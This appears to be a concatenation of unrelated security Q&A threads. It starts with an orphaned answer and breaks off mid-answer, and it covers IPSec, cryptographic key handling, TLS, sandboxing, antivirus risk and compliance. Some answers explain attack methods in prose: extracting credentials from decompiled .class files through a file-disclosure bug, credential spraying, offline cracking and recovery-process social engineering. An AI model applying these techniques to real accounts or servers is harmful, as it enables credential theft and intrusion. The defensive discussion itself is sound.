tl;dr - Essentially, this is a file disclosure bug but without the ability to traverse back to the root/home directories. You're limited to the directories you already mentioned, although these directories often contain java bytecode in the form of .class files, and such files often contain credentials for stuff like SQL or LDAP... so despite your directory traversal attempts being limited, you should be able to use web.xml to map out the paths for .class files containing bytecode, then if you're lucky you can include those files and grab potentially sensitive info after decompiling the bytecode.


IPSec Domain Isolation with Windows Server I'm looking for a good way to secure my servers, I have a set of dedicated servers that are not in my office but hosted by an external provider. ALL the servers have only one public (WAN) IP.

I don't want to use VPN as my users are not willing to have this constraint, so I went to a Firewall configuration of my Windows Server (through a GPO) to enable IPSec in Domain Isolation.

Every server require a secure connection for in-bound, which from my point of view is pretty much secured.

But one thing bothers me, in order to make the default authentication mode (which involves Kerberos) work in my domain isolation I had to setup the firewall of my DNS/DC server with "Request inbound and outbound" (instead of the default "Required inbound and request outbound"). I guess it's necessary for the Kerberos authentication to work.

Again, from my understanding it leaves the DNS/DC server unprotected by IPCSec (though I don't exactly know what really is "request" as opposed to "required").

My first question is: is it safe enough ?
Second question: how could I configure IPSec with the DNS/DC server as protected as the other servers?

Thanks for your time.

IPSEC can be configured using multiple authentication methods. I personally prefer using certificates from my internal CA over Kerberos. There are several devices I deal with (Linux, servers in my DMZ, etc) which would be difficult or impossible to set up with Kerberos. An offline IPSEC certificate request is much easier to work with.

The request statement makes it possible to use IPSEC with falling back to unencrypted traffic available. This is a good first step in starting with IPSEC. The require is exactly that - the traffic must be encrypted with IPSEC in order to be allowed. This is good for your most sensitive systems / services.

There are services, etc which you don't want to be covered by IPSEC. This includes anything public facing or which may need to be used prior the encryption being established. That would include DNS and a few of the AD specific services. I don't have a minimum list of services required to remain permitted unencrypted readily at hand. I'm opting to leave my DCs in request mode until I have the time to track that information back down.


Bibliography of attacks by port scanning techniques I have to present a paper and make a presentation about the principal types of attacks by port scanning. What literature do you recommend to cover enough information about: types of attacks, port security, vulnerability of ports, protection against attack, etc.

As far as resources go, i suggest you check out the nmap page: http://nmap.org/book/man.html

nmap is the most highly regarded port scanner as far as i know, and the doc page covers a lot of port scanning techniques.

http://www.youtube.com/watch?v=Hk-21p2m8YY&feature=related

This video is interesting to watch as well.


With AES, does key format make a difference to security? For context, I'm assuming the attacker knows the format of the key.
Do these two keys have the same strength, or by leaving the hyphens in the key am I reducing the security by a partly-known-key attack?
A: aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
B: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Both keys have the same amount of entropy, 'a' is a hex digit, so 'aa' represents one byte of CSPRNG data.
I guess this is the same question as, 'is there a weakness in using a hex-string key versus the raw version of it, given that the key space is reduced to 0-9a-f characters if left in hex format?'

There is a similar question that exists: Does knowing part of the key make encryption weaker?
But that question assumes a variable length key, which is itself a secret, whereby the security of that key is reduced by the attacker knowing existing parts of it, thus reducing the overall unknown parts.
My question is if the key is weakened by the structure of the key itself, when the number of CSPRNG characters always remains the same and the attacker knows none of them.

Another similar question: Does padding an AES key hurt security (besides lowering the strength of the key)?
This is closer to what I'm asking, but is now 7 years old, and I'm wondering if there has been any more recent research or weaknesses identified that might be relevant? The dashes in my example key shown above could technically be considered padding, but is there a distinction when the padding is used within the key, instead of at the start or end?

Do these two keys have the same strength, or by leaving the hyphens in
the key am I reducing the security by a partly-known-key attack?
A: aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
B: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

These are not different keys. These are only different representations of the same key. It does not matter if one represents a key as binary, hexadecimal, base64, with hyphens or without etc. At the end the key itself gets used for encryption and decryption and not its specific representation. That means to do the actual processing it gets converted from the specific representation to the actual (binary) key.
And since it is the same key it also does not make a difference in security.


Are there any client-side mitigations for FREAK? While we wait for patches to address the TLS FREAK vulnerability, is there anything relatively straight forward on the client-side that can be done to mitigate the risk in the meantime?

Use a TLS stack which is not affected. The problem lies deep in the stack and there is no magic switch like NOFREAK=1 to disable to bug.

If you cannot switch the TLS stack or use the available fixes against the current stack (at least for OpenSSL) you might try to put some SSL-intercepting proxy in front which does all the TLS for you. Of course these kind of proxies often have their own problems, like not validating the certificates properly.


Does using the same secret key for AES-256-CBC and HMAC-SHA512 in Encrypt-then-MAC potentially compromise the key? Suppose I use a key (and IV) to encrypt a piece of binary data with AES-256-CBC to produce the corresponding encrypted data.

Suppose I then throw this encrypted data into HMAC-SHA512 using the same key as above to produce a MAC. I send the encrypted data and the MAC to a recipient.

The recipient can now verify the encrypted data against the MAC (if he knows the key).

My question is simply: Does the fact that the key I used for AES-256-CBC I also used for the HMAC-SHA512 potentially compromise my key in any way? In other words, is this a potential added attack vector against my key (due to potential weaknesses in SHA-512, or something else)?

To put it differently, I'm just wondering whether there is any difference in terms in protecting a key if that key is used only for AES-256-CBC versus used for both AES-256-CBC and HMAC-SHA512.

Would I be better off using CBC-MAC? (Especially if using CBC-MAC makes the key go through AES-256-CBC as well, adding no additional attack vectors? I'm not sure of this.)

This question is effectively answered by a variation of the question over on crypto.SE, here: Using the same secret key for encryption and authentication in a Encrypt-then-MAC scheme
The pertinent part of the answer is here: (emphasis mine.)

Potential problems with using the same key for encryption and MAC would be structural; [One] example is CBC-MAC, which is indeed identical to CBC encryption, except that you only use the last encrypted block as MAC. CBC-MAC works fine as long as you do not give to the attacker access to pairs (p,c): p is a plaintext block, c is the corresponding ciphertext block, for the key k which you use for CBC-MAC. But if you use the same key k for encrypting the data, then you are giving to the attacker a lot of such blocks.
With HMAC vs AES, no such interference is known.  The general feeling of cryptographers is that AES and SHA-1 (or SHA-256) are "sufficiently different" that there should be no practical issue with using the same key for AES and HMAC/SHA-1. However, simply defining that "difference" with any kind of scientific rigor would be hard, and it is not a much explored security feature. So that's one of these constructions which can be qualified as "no urgency to fix it, but don't do it if you can avoid it". A much "safer" way (in the sense of: "we know what characteristics of the involved algorithms we are exercising") is to take your master key K, and derive from it, with a good one-way Key-Derivation Function, a sub-key for encryption and another sub-key for the MAC. This can be as simple as applying SHA-256 on K and splitting the 256-bit result into two 128-bit keys.
There are some MAC and encryption algorithms which intrinsically support sharing the same key. This is exactly what happens in GCM.

So, the general consensus is that the security is ok, and you don't introduce vulnerabilities by sharing a key between AES and HMAC, but it is also general consensus that it isn't good hygiene to reuse a key for different purposes.  So what we resolve down to is that this construction is generally frowned upon, but there are no known or suspected security weaknesses at this time.


Choosing security scenario for WCF service/client hosted by IIS I have web server (hosted using IIS) in DMZ hosts multiple web services (WCF), the clients are non-server applications (they are standalone .NET application) reaching these web services via internet using the HTTPS protocol.

My server has an SSL certificate issued by Verisign, the point is that my client does not have any type of credential and any machine with that application (or similar app) should be able to consume the services. The information passing between client machine and server must be encrypted and signed.

So this is my question: is having the certificate and using the transport security enough to make sure that nobody can read the messages passing between client and server? Or do I have to somehow come up with some kind of ad hoc client credential and add message security?
This link describes that SSL is good for Intranet and for internet message security is suggested why? What happens if I only use SSL and no message security for the internet scenario?

is having the certificate and using the
  transport security enough to make sure that nobody can read the
  messages passing between client and server?

For all intents and purposes, yes. (barring MitM attacks)

  Or do I have to somehow come up with some kind of ad hoc client
  credential and add message security?

Negative.

  This link describes that SSL is good for Intranet and for internet
  message security is suggested why?

Because during an intranet deployment you maintain control of all systems on a private network and can ensure that each system is indeed using transport security when sending data over the LAN/WAN.

Message security is preferred when using an "internet" scenario because you will be interacting with 3rd parties. You may not be able to ensure that these 3rd parties haven't been compromised and/or are enforcing transport security along the entire chain.

  What happens if I only use SSL and no message security for the
  internet scenario?

I'm a little fuzzy on your infrastructure configuration and which parts of it you actually own versus which parts are being rented from a hosting provider, but per Microsoft's recommendations Message Security is the preferred method when messages may be routed through intermediate systems. (aka: the internet)


is spoofing CA to sign application possible? Is it possible to spoof the CA of any server to sign some application?
As like as what CarbonCopy claims?

CarbonCopy  creates a self-signed certificates which looks like the original certificate, i.e. subject, issuer etc seem to match. But, the certificate is not signed by the specified issuer at all. This means if a proper validation of the certificate is done no local trust anchor will be found and the certificate will be rejected as untrusted.


Is using Gravatar in a web application with "private" URLs a security issue? In our application, there is a kind of a "share" feature that sends an email to a user-provided address. This email contains a link with a secret access token (as part of the URL) that is valid for a few days. The page where this that link points to contains confidential information.

Now there is a feature request to use Gravatar in the whole application to show a nice picture of the user, if the user happens to have a Gravatar account. Now I fear that by including Gravatar on the confidential page mentioned above will compromise that link.

Is Gravatar (or rather Automattic) able to see the referrer where a request to the user picture is coming from? If yes, is there a way to use Gravatar in a way that private URLs as mentioned above aren't exposed?

You could proxy the requests to Gravatar through your app, so that all requests come from the same place (or at least not from your private URLs themselves).

Something like this:

<img src="https://yourapp.example.com/users/1/avatar">

With an endpoint in your app that fetches the Gravatar image, and re-displays it at the new url above.

In Rails, I might do something like this as a first pass:

require 'open-uri'
class UsersController
  def avatar
    gravatar_id = Digest::MD5::hexdigest(current_user.email).downcase
    image = open("http://gravatar.com/avatar/#{gravatar_id}.png", &:read)
    send_data image, type: 'image/png', disposition: 'inline'
  end
end

I may also consider base64-encoding it and/or caching it in the DB temporarily, or using it for a "starter" avatar, and still allow users to upload custom ones.


How do attacks on password locked accounts work? A lot of questions here are about the safety of passwords e.g a Login Password to an account on site X. But how can attackers get in the account when they have to guess the passwords? I know there is the "brute-force" method but most sites will simply lock the account, when there are  too many false tries. So how get hackers access to the account?

Brute Force Options:

Credential Spraying (distributed brute force): try the same password on multiple accounts or multiple systems (or variations on this theme). No one account is getting focus, so the attack on each account goes under the radar.

Offline Brute Force: use a weakness in the system to extract the password database that contains the (hopefully) hashed passwords. Take all the time you want to crack each hash (or the hash of the account you want).

Online Brute Force: public sites don't lock the account when there are too many tries. They might block the IP of the source of the failures, but then the attacker can change IPs. It's possible to slow attacks down to stay under the settings of the automated protection mechanisms.

Password reuse: look up a database of breached credentials and try that combination on popular services. It's effectively one try per service. For accounts that show up multiple times, use the collection of passwords used.

Process Weaknesses:

Authentication weaknesses: flaws in the system might allow the attacker to gain access to other accounts or parts of the information that should only be accessible to the authorised account. This is pretty rare and a highly specific problem.

Social Engineering:

Phishing: just ask the person for their credentials

Help Desk Hacking: use weak password reset processes or the online support desk to get the service to grant the attacker access to the account


Alternatives to anti-virus for keeping oneself safe I have read a lot of articles that talk about how using an AV is less safe than not having one for more intermediate PC users who are careful with what they click and download.

For example, here are a couple of articles:

https://antivirus.comodo.com/blog/computer-safety/a-new-attack-that-turns-antivirus-software-into-malware/
http://www.dailymail.co.uk/sciencetech/article-3574724/Is-antivirus-software-putting-risk-Programs-offer-lower-levels-security-browsers.html

I have also read that when an AV automatically scans an executable file you just downloaded, the hacker could potentially abuse a vulnerability in the AV scan and get it to execute without you ever running it. On top of that, you still have to put some trust in the AV which has kernel access to your PC and intercepts network traffic for you and possibly even gathers data about things you don't know.

So I was wondering what would be some better ways I could keep my PC safe without relying on some heavy, automatic AV software? I can think of a few things so far (but would doing these things actually be safer than having an AV?):

Using extensions like AdBlock and NoScript/ScriptSafe so malicious code can't secretly execute.
Monitoring the network traffic on your PC now and then to check for anything suspicious.
Using a tool like AutoRuns every week to check for suspicious start-up entries.

Antivirus is more dangerous in that it parses complex attacker-controlled data in a highly privileged context. This is a recipe for privilege escalation exploits. As a result, sophisticated attackers can often abuse antivirus programs to gain SYSTEM privileges. This is not a rare occurrence or one that is only a problem for enemies of a powerful government. AV software is riddled with privilege escalation vulnerabilities. A quick look at the severity of the vulnerabilities in the CVE list for any popular piece of software will give at least a little insight into the scope of the problem.
Consider your threat model
It is necessary to understand your own threat model. One person's situation might dictate that AV is harmful, while another person's situation might dictate that it is beneficial. Being able to understand the risks that apply to you, and the adversaries which you have is vital to being able to make any security-related decisions, especially ones such as this which are not necessarily black and white.
AV may be beneficial in situations where:

The computer is used by someone who can be easily fooled into installing malware.

The computer will be handling user-submitted data which may be redistributed to others.

You download a lot of untrustworthy programs, such as warez.

AV may be harmful in situations where:

Your adversary is at least moderately sophisticated or is targeting you in particular.

You are the sole user of your computer and do not download unsigned programs.

You keep your software up to date and are not expecting people to burn 0days on you.

Your threat model is what determines whether or not you should use AV software. My personal suggestion, assuming you are not going to download random dolphin screensavers and you keep your software up to date, is that you may want to use a simple, default program such as Windows Defender, and only use it when you explicitly need to. Each time you ask it to scan the hard drive, you are putting all your faith into it to not be compromised by any specially-crafted malware it may stumble upon. If instead you use it when targeting specific programs that you download before you execute them, you reduce the risks considerably.
Enforce code signing
It would be preferable if you did not need to download untrusted software and instead use trusted, signed executables from official sources only. This is especially important for files that wish to be run as Administrator, as those have the most potential for doing damage to your installation. Make sure they are signed! Never assume that your own will power is sufficient to prevent you from making mistakes when running a new program. This is what trojan developers rely on!
In order to further reduce the chance of accidentally running an unsigned or untrustworthy executable, you can configure your security policy such that unsigned executables cannot be run. This will ensure that any malware will need to have a valid signature, signed by a trusted CA. While it is obviously possible to get a malicious file signed, it is far more difficult, and will tend to be more of an issue if you are a specific target and not just an opportunistic victim.
If you further restrict the policy such that only executables signed by Microsoft themselves (and not just a CA which Microsoft trusts), you can effectively eliminate any possibility of infection from a trojan. The only way to get a program to execute in that case would be to exploit a 0day in the operating system, or compromise Microsoft's internal signing keys (those are both in the realm of capabilities for advanced state-sponsored actors). This can help prevent the rare (but not non-existent) cases where malicious code slips into the repositories of a trusted developer.
System hardening
On systems before Windows 10, you can use the Enhanced Mitigation Experience Toolkit (EMET) to enhance the system's security without increasing attack surface area significantly, though note that EMET will not be receiving updates for much longer. EMET works by injecting processes with code that hardens them against exploitation, increasing the chances that an exploit attempt will cause the targeted application to crash rather than be successfully exploited. If you are on Windows 10, most of these security features will be natively present. This makes it the most secure Windows release yet, despite the potentially problematic privacy issues it may have.
You can also disable unnecessary services (especially networking services, such as those exploited by EternalBlue), use AppLocker, and read the security guides provided by Microsoft to allow yourself to further improve the security of your system. The topic of system hardening is vast.


How to integrate client certificates for upstream servers with nginx as reverse proxy? For my private VPS, I am building a configuration for different web applications (Owncloud,...) which depends on a combination of different Docker containers. At the front, I would like to use an nginx web service as a reverse proxy that forwards incoming HTTP requests depending on the request-uri to the web services "behind".

To build up such a setting using HTTPS, nginx needs client certificates for the so called upstream services, which are located behind the proxy. My question is now, from a security point of view, if it is necessary to use certificates that are signed by a CA. My idea is that the nginx reverse proxy itself is reachable by a domain which is secured by a Let's Encrypt certificate (or another certificate signed by a trusted CA). If I now call https://example.com/owncloud, this is forwarded to the application container for Owncloud which is located on the same VPS. Nginx now needs a client certificate which I would like to create as self signed according to the fact is is an internal communication on just one physical system between those containers.

Could you guys give me some advice about the setting and about my security perspective about this topic? Did I forget some points in my conception?

From my understanding you have

VPS with Docker w/ domain name `my-domain` [
  docker-mysql hosting intern ????
  docker-owncloud hosting intern 3000 and internal connect docker-sql
  docker-nginx hosting extern 80/443 and internal connect docker-owncloud:3000)
]

you have 2x options:

my-domain/owncloud-subfolder
owncloud-subdomain.my-domain

If you wanted to go the subfolder route, it is possible to use your my-domain cert as is.  If you are going the subfolder route you would simply set owncloud up as HTTP (not https) and then use location {} to proxy_pass from nginx to docker-owncloud

location /owncloud-subfolder/ {
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_pass http://docker-owncloud:3000;
    }

My personal pref is that it is easier to setup sub-domains and manage lets-encrypt certs for each of them eg:

ca.ffeineaddiction.com
gogs.ca.ffeineaddiction.com
own.ca.ffeineaddiction.com

in my case ffeineaddiction.com is my vps (vultr) and gogs.* and own.* are mapped to a physical server w/ 2TB of storage via tinc (tutorial on tinc setup)

EDIT:

  Re-read the question which is apparently different then what I understood it to be the first time.  If I am understanding correctly now you are not worried about the external certs that Nginx is hosting but rather the Clientside cert in Nginx to connect to HTTPS instance of owncloud on 127.0.0.1 ... in my setup my solution to this is to not have one ... I simply use HTTP between OwnCloud and Nginx since its all internal to the box (or over TINC in my case).


Dumping BIOS and USB bootloader Edward Snowden suggests to have the bootloader on a USB stick to prevent evil maid attacks and to dump the BIOS, hash it and compare it everytime.

Is using Tails from a USB stick means the bootloader is on the USB stick or how do I get the bootloader on a USB stick?
How do I dump the BIOS, hash it and compare everytime?

Yes, booting from a USB stick on a system which has BIOS implemented means that the bootloader is on the USB stick. The start of the stick will have a bootable partition (containing a MBR) which the BIOS calls to load the OS.

Here's a question asking how to dump the BIOS.


subuser, benefit or liability? I'm trying various sandboxing solutions on linux.
I'm used to running untrusted programs (for example, a web browser, a pdf document reader, etc) inside a selinux sandbox, which I'm quite satisfied with, but there is a problem: it's only supported on rhel/fedora. AFAIK other distributions don't really support selinux (even when they say they do, they don't ship usable policies or documentation), and even when a quasi-working policy is provided, policycoreutils-sandbox is not available (see debian).

What could be a multi-distro sandboxing solution?
I'm trying docker/subuser, which allows me to start a docker container running the application of interest and giving it access only to part of the filesystem. For example, I can run 'chrome' in a docker container and let it only access my Downloads directory.

This seems a convenient solution since it's distribution independent and doesn't require me to install the program I'm planning to run and its dependencies on the host.

However, I'm not quite sure about how much security is there in 'subuser-security': https://github.com/subuser-security/subuser

First of all, docker doesn't yet support user namespaces. This means that every 'container' runs as root on my host, even if it's isolated by lxc.
this also means that, if I follow subuser's recommendations, I have to add my user to the docker group.
since dockerd runs as root, having access to it means that I have full access to the whole host filesystem as root, I can run privileged containers, etc. If this isn't enabling privilege escalation (even if not from 'guest' apps, I hope), I don't know what it is.

furthermore, let's say that I'm running chrome in subuser.
Now I have a chrome browser running with its sandbox disabled (one less layer) inside another sandbox under the root user.
Is it really a benefit from simply running chrome with its sandbox under an unprivileged user?

I would not be able to limit its access to my home directory, but apart from that, I don't see reasons to prefer subuser/docker.

what other distro independent solutions are left?

I'm starting to think that the least cumbersome solution would be to simply use standard unix users. One user per application, maybe install an app and its dependencies under ~local, ~bin, etc.

which package managers support installing a package, mantaining a package tree, as a user inside a user's home directory?
are there any third party package managers for linux that support this?

how would you share files between users? I'm thinking of the possibility of running an unprivileged ftp daemon on localhost, let's say as a 'standard' or 'storage' user and use virtual users to export parts of that home dir (eg, /home/me/apps/webdownloads) to other users, applications, and mount that via fuse.

Is this reasonable?

I am Timothy Hobbs, the author of subuser.  I'd like you to first read my article on subuser's security philosophy so that you can see what I'm aiming for.  I'm aiming for protecting a wide user base from run of the mill attacks, and not for protecting specifically targeted users from the NSA/other nefarious organizations.

First of all, docker doesn't yet support user namespaces. This means that every 'container' runs as root on my host, even if it's isolated by lxc.

While current versions of subuser still build the image as root, subusers do not run as root unless specifically specified to do so.

this also means that, if I follow subuser's recommendations, I have to add my user to the docker group. since dockerd runs as root, having access to it means that I have full access to the whole host filesystem as root, I can run privileged containers, etc. If this isn't enabling privilege escalation (even if not from 'guest' apps, I hope), I don't know what it is.

It is true that Docker, and as consequence, subuser, gives the normal user full root privileges.  I do consider this to be a flaw in Docker.  I will certainly try to alleviate this problem, if the Docker folks don't do it for me.  However, on a single user system, I do not believe that it is a security problem for the normal user to have root access.  Because if someone gets control of the normal user, that is just as bad as root.  It's really a question of what you are trying to protect: system integrity or your data and your privacy.

furthermore, let's say that I'm running chrome in subuser. Now I have a chrome browser running with its sandbox disabled (one less layer) inside another sandbox under the root user. Is it really a benefit from simply running chrome with its sandbox under an unprivileged user?

Chrome is a special case.  It is the only program that I have come across that has this limitation.  I do not recommend that you run chrome in subuser.

I'm starting to think that the least cumbersome solution would be to simply use standard unix users. One user per application, maybe install an app and its dependencies under ~local, ~bin, etc.

I certainly considered this approach when designing subuser.  However, sharing files between users is either messy, insecure, or both.  Furthermore, you can't simply display x11 windows from other users to your user's x11 server.  You have to set up XPRA, VNC, RPC or some other network solution.  This is tedious, and one of the main goals of subuser is to eliminate the tedium of such a setup.

which package managers support installing a package, mantaining a package tree, as a user inside a user's home directory? are there any third party package managers for linux that support this?

There are many package managers that support installing programs as normal users.  You can see an incomplete list http //subuser.org/related-projects.html (not enough reputation to post more than 2 links) on the subuser website.  Just scroll down till you get to zero-install.  Of course, these package managers don't do anything in terms of security.

````
how would you share files between users? I'm thinking of the possibility of running an unprivileged ftp daemon on localhost, let's say as a 'standard' or 'storage' user and use virtual users to export parts of that home dir (eg, /home/me/apps/webdownloads) to other users, applications, and mount that via fuse.

Is this reasonable?
````

The sub-identity toolkit http //ccl.cse.nd.edu/software/subid/ (not enough reputation to post more than two links) provides a tool named subuserchown which assists in sharing files between users.


Is it possible for a javascript malware to put keylogger extension in my browser? I clicked on "It's like you" virus in Facebook Messenger. Then I archived the original link with archive.ph (archive.today), and during the process the site showed me this: https://pastebin.com/e91wZmqP (WARNING! Do not click on any of the links in the paste; they might contain harmful code.)
The most suspicious js file was the one on the site kiigame. I made an archive, it contains only the text of the script: https://archive.ph/EAXyP
The main content of the script seems encrypted(?), as it uses hexadecimal codes for words. Do you know any way to decipher the hexadecimal codes to see what this script does exactly? My main concern is if it installed any (hidden) extension (like keylogger) in my browser (I use Google Chrome on Ubuntu).

As I see the source code looks like obfuscated, when I de obfuscate the source it seems like an phisher ? It is asking for FB credentials also has some FB styling and setting/updating some cookies, the best thing what you can do is clean your cache and try malware scan.


How can we avoid the Facebook SDK? General: Trusted forge for Android apps? I know that privacy is dead etc, but I saw a presentation (Link:  https://www.youtube.com/watch?v=OTt1AVRQyx0 )about developers of Android apps using the Facebook SDK for whatever reason in their development of applications.  I was stunned and angered by the amount of data that FaceBook exfiltrates from user systems.  This information is sent to FB even if the user has never had a FB account, never visited the site, never even heard of FaceBook.  And so forth.

What I want to know is this: how can I avoid applications developed using the FB SDK?  I am totally prepared to abandon the Google Store.

This would probably require an app store like F-Droid with a different security posture than say, the Google Play store.  But there as well, I do not see options for isolating apps by SDK.  Obviously, if those apps are OPEN open source, then I could go through the source code.  I cannot be the first to have this concern, of course.  Yet searches are largely swamped by questions of how to apply the SDK rather than avoid it.

So the FB SDK is just a particular case of a larger question -- is there a trusted forge for android apps?  I'm not against using Copperhead or similar (de-Googled Android), but I would like to sever that issue from apps themselves.

Confession -- I'm hardly a privacy-focused person, having been a loudmouth online since the early nineties.  But FaceBook's exfil of data is simply breathtaking, as it occurs effectively without consent*, and without notification*.

It may legally be consent to have me click through a EULA that says "We may share some data", but this seems inappropriate to the scale of what is being exfiltrated.  Key point -- this is not as result of using Facebook's site or app, but of nth-party developers using Facebook "protomatter in the matrix".

Alright, I am sure I am asking this wrong, and formatting it wrong, etc.  Corrections gratefully accepted.  Believe me -- my goal is to help get an answer to this question on the record here.

This sounds promising -- intercepting calls made by the app to the FB API domain(s): Intercepting HTTPS Android app traffic

When you are installing one such app, it should show you an EULA explicitly saying that what they are going to share, with whom, etc. Specially if you are in Europe and the treatment of your PI is subject to GDPR.

The main problem as I recall it is that developers themselves were not even aware of what was being shared by using the Facebook SDK. So it wasn't being included in the EULA, nor would users be aware of what was going on.

Technically, the app developer is the one in fault here (the one you would have to sue if really wanted, etc.) while you are the loser and Facebook always winning.


Is it legal/ethical to release commercial software with known security flaws I am not a security professional. About 2.5 months ago I discovered systemic vulnerabilities in my employer's software with the potential for financial damage to customers if exploited.

A logged in user's ability to access or modify form data is checked when a form is loaded, but a POST of form data does not check authentication before saving. I was not able to exploit this unless I logged on as a user with lower privileges.

The vulnerability was reported to the company; but since fixing the problem requires a near complete rewrite of the application authentication and form submit code, the company has decided to continue releasing feature improvements while working on fixing the vulnerabilities over a much longer period (6 to 12 months). I do not know how many people in the company know this is happening, nor do I know if the legal people have assessed/approved the decision.

The application is a very large web application maintained by a team of three developers and one tester (me). There are no other developers or testers in the company.

A significant release of new functionality without any security fixes is being planned for about 6 weeks from now.

The company is publicly traded in the USA. Customer and individual bank account information is part of the saved data handled by the application.

Is my employer engaging in illegal or unethical behavior by releasing new functionality while the security flaws remain uncorrected?

It is legal to sell imperfect products

The general standard for selling products is that they are required to be fit for the purpose for which they're sold and advertised. They are not required to be a very good fit for the purpose. They are not required to be fit for other purposes. They are certainly not required to be free of all flaws, risks and potential misuses - as long as they are mostly fit for a particular purpose, it is legal to sell them.

For example, it is completely legal to sell doors that can be smashed open by a scrawny teenager. It is completely legal to sell physical locks that can be picked open by a bobby pin. It is completely legal to do so even if you're completely aware that these vulnerabilities exist. These doors and locks are still fit for purpose even if explicitly advertised for the purpose of "keeping intruders out" - they are not required to be perfect at that purpose; it's okay to manufacture and sell flimsy doors and flimsy locks even if everybody knows that they could be made much more secure with some modifications.

Pretty much all software is released with known bugs, i.e., the company bug tracking system lists many unfixed problems of varying importance. Again, this is evidence that having known defects by itself isn't sufficient to make software unfit for purpose. Even when released without any known bugs, no software is fully secure - pretty much every nontrivial package has had multiple security vulnerabilities. This doesn't mean that they are not fit for purpose - they certainly allow users to perform useful tasks even if the vulnerabilities are never patched, so they are fit for that purpose even if they are totally unsecure.

For example, many systems similar to your system (as it looks like from the question) would be quite useful even if they didn't have any authentication and all users had full access. In that case it would be fit for purpose even with a totally flawed authentication system; some authentication is better than no authentication and no authentication also would be acceptable in this case - not too good, but acceptable.

One can imagine certain niches of software which are absolutely not useful if their security is flawed. Most software is clearly not in this category, but e.g. disk encryption or password management software could be. However, even then it would be a question of how severe the vulnerability is. As in the example of flimsy locks, an imperfect security solution that protects against some but not all attacks is generally considered fit for purpose.

Ethics of selling low quality products

The ethical situation is a bit different than the legal mandate, but again I believe we can draw parallels from sale of physical items.

For any given type of product consumers reasonably expect that there will be differences of quality depending on the brand. Some shoes will be much better than others, and it's nice; and some shoes will be much cheaper than others, and that's nice as well - both are valid choices for consumers and manufacturers.

It's a completely valid and ethical strategy to make and sell low quality items. Someone may reasonably intentionally buy a low quality item, for example, because it's cheaper. Someone may reasonably intentionally choose low quality software, for example, because it's cheaper. People may make, distribute and use free software that is well known to have as much holes as swiss cheese, and simply avoid using it in contexts where security is important. A customer ordering a custom development may reasonably choose to have their supplier work on new features over fixing known security flaws - it is their choice to make, and it's ethical to make a product according to these priorities.

What is unethical is misleading customers. If you want to advertise that your product is better in quality than the competition, then it's ethical iff it actually is so. If you want to advertise that your product will hide sensitive data from authorised local users without proper permissions, then it's ethical iff it actually is true. However, do note that this is talking about the ethics of advertising and communication - the unethical act is not the selling of shoddy software, but the lies about your product.

In your particular example, the ethical way would be to ensure that the vulnerability is publicly disclosed. In that case, the customers can make an informed decision on how and if they should use the product, how important that vulnerability is to them and if it makes a meaningful difference to them.

All this is assuming that we're talking about defects of various severity, not malicious code - intentionally placing backdoors is strictly different.


How do online accounts get hacked? How does your typical users run-of-the-mill Facebook/twitter/gmail/AIM/etc account get hacked? Is it simply a matter of a weak password? Are they typically the victim of phishing or other social engineering attacks? Is malware typically involved? Is it the result of compromising the systems holding account credentials? All of the above? What methods do the bad guys employ? What are the prevalent trends in methods used to gain access to these accounts?

I see friends get their Facebook or AIM accounts hacked, and without knowing how they were likely hacked, I have no idea how to advise them and can't really explain the nature of the problem to them.

@p____h already answered pretty well most of what occurs when an account is hacked, but I wanted to add my salt regarding a recently hack of a Gmail account that is very interesting to read!

It's the recent Cloudflare attack.

This is just AMAZING, the attacker used 4 flaw in various services, not only Cloudflare's :

  AT&T was tricked into redirecting my voicemail to a fraudulent voicemail box
  Google's account recovery process was tricked by the fraudulent voicemail box and left an account recovery PIN code that allowed my
  personal Gmail account to be reset
  A flaw in Google's Enterprise Apps account recovery process allowed the hacker to bypass two-factor authentication on my CloudFlare.com
  address; and
  CloudFlare BCCing transactional emails to some administrative accounts allowed the hacker to reset the password of a customer once
  the hacker had gained access to the administrative email account.

I highly recommend you to look at the blog post, and if you are hurry, just read the infographic that shows the sequence of events. This attack would be worth a short movie!


Does PA-DSS apply to a SaaS eCommerce system? My company develops and hosts a custom eCommerce and CMS system. We provide this only under a hosted, software-as-a-service model. We are in full control of the hosting environment, and our customers have no control over the source code. They cannot deploy on their own hardware; they have to lease the software from us.

I am being asked by a vendor if we are PA-DSS compliant. According to the PA-DSS Requirement and Security Assessment Procedures v2.0:

  PA-DSS does NOT apply to payment
  applications offered by application or
  service providers only as a service
  (unless such applications  are also
  sold, licensed, or distributed to
  third parties) because:

  The
  application is a service offered to
  customers (typically merchants) and
  the customers do not have the ability
  to manage, install,  or control the
  application or its environment;
  The application is covered by the
  application or service provider’s own
  PCI DSS review (this coverage should
  be confirmed by the  customer); and/or
  The application is not sold,
  distributed, or licensed to third
  parties.

I am trying to understand if we would fall under those criteria. It sounds to me like we would, because we are in full control over the software; we are the application service provider and the software is provided only as a service. Our customers do not have the ability to install or manage the applications' environment, only our staff does. Our clients can of course use the application to create products and view their orders, however all installation and server maintenance is done by us.

We are fully PCI compliant.

Does PA-DSS apply to a custom hosted eCommerce application like this, when the code and environment is totally managed by the vendor?

PA-DSS does NOT apply to payment applications offered by application or
  service providers only as a service (unless such applications  are also
  sold, licensed, or distributed to third parties) because:

  The application is a service offered to customers (typically merchants) and the customers do not have the ability to manage, install,  or control the application or its environment;
  [does not apply by my reading]
  The application is not sold, distributed, or licensed to third parties.

They cannot deploy on their own hardware; they have to lease the software from us.

Also note: third parties means your clients clients. You're not exactly letting your clients clients use the software in question are you? (ignoring the shopping cart function, that's not the part that is in question here)

  Our clients can of course use the application to create products and view their orders, however all installation and server maintenance is done by us.

It wouldn't really be a product if this weren't true. IE: all products must have this capacity, so that can be dismissed from the consideration.

I believe, from reading your question/claims, that the product you're using is indeed covered. If you ever let the customer's see the entirety of the billing process then it would not be, in my opinion. But because you control the infrastructure and just give them access to the pertinent parts, you're covered.

That's my lay-person's reading.


IBM AppScan false positive I scanned a website with IBM AppScan and it reports multiple vulnerabilities, but when I test it manually I am not able to find the exact issue.

How is AppScan able to find vulnerabilities while I cannot find them when manually passing the same request in Burp Suite as it shows in AppScan.

There are two possible answers.

Either: because vulnerability scanners are by their nature 'dumb', that is they are operating based on pre-configured logic, they will make a best guess at what could be wrong with something using the logic incorporated within the scanner's code and can make mistakes.

